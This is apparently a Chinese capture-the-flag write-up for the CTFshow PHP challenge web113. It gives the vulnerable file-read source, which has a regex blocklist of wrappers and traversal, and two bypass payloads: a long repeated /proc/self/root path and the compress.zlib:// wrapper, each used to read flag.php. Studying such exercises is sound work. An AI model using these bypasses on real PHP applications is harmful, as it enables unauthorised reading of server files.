目录

  • 源码
  • 思路
  • 题解
    • 解法一
    • 解法二
  • 总结

源码

<?php/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:52*/highlight_file(__FILE__);
error_reporting(0);
function filter($file){if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){die('hacker!');}else{return $file;}
}
$file=$_GET['file'];
if(! is_file($file)){highlight_file(filter($file));
}else{echo "hacker!";
}

思路

利用函数所能处理的长度限制进行目录溢出

题解

解法一

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

解法二

compress.zlib://flag.php


总结

水题

CTFshow php特性 web113相关推荐

  1. ctfshow php特性 下

    目录 web113 web114 web115 web123(php解析特性) web125 web126 web127(php解析特性) web128 web129 web130 web131 we ...

  2. ctfshow php特性(89——150plus)

    web89 这题的逻辑是如果存在$_GET['num'],则用正则表达式匹配$num中的值,如果成功匹配则程序终止于"no no no",否则进行下一步,如果intval($num ...

  3. ctfshow php特性 web89-web115 web123-150wp

    php特性 参考博客仍然是南神博客 文章目录 php特性 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web10 ...

  4. CTFshow php特性 web150plus

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  5. CTFshow php特性 web150

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  6. CTFshow php特性 web147

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  7. CTFshow php特性 web140

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  8. CTFshow php特性 web138

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  9. CTFshow php特性 web137

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

最新文章

  1. 【Arduino】斑马线指示灯Zabra_crossing_WS2812
  2. Django:ORM关系字段
  3. cassandra生产监控_碎玻璃:诊断生产Cassandra问题
  4. 傅里叶级数的数学推导
  5. CSS3---2D/3D应用
  6. 2020武大计算机学院研究生补录通知,2020年武汉大学硕士研究生复试录取工作细则汇总...
  7. ValidateInput(false)与this.ValidateRequest = false无效的解决方案
  8. 函数头模板_Python新手爬虫,爬取PPT模板
  9. selenium+python环境搭建
  10. Java:对于Borderlayout布局管理的理解
  11. c3p0连接池配置连接不上mysql_数据库连接池之c3p0的配置 + 问题解决方案
  12. 花花省淘宝客APP源码带淘宝京东拼多多唯品会优惠券自营商城本地生活CPS外卖优惠电影票话费
  13. ESP8266使用入门教程
  14. 分享一个修改电脑IP的小工具
  15. 商业计划书(BP)应该包含哪些点?看 BP 的人最想从中得到什么?
  16. Python新书上市,强烈推荐!《Python网络数据爬取及分析从入门到精通(爬取篇)》导读
  17. ERP系统如何操作?具体操作步骤是什么?
  18. 135. 精读《极客公园 IFX - 上》
  19. 台式计算机国标码,在计算机中,国标码是属于什么码?
  20. 转载:电脑cmd命令怎么测试网速详细步骤

热门文章

  1. 实验 3 简单的分支与循环结构
  2. AI 图像傅里叶变换
  3. 【转】Android OTA 升级之一:编译升级包
  4. ubuntu编译安装php5 mysql nginx
  5. 2008-07-29
  6. 移动、联通、电信7模4G全网通
  7. linux和android调试概要
  8. linux文件系统简介
  9. 【Python基础】字符编码ASCII-GBK-Unicode-UTF-8之间的关系
  10. mysql 自动补齐 表名,列名 方法, 重启mysql方法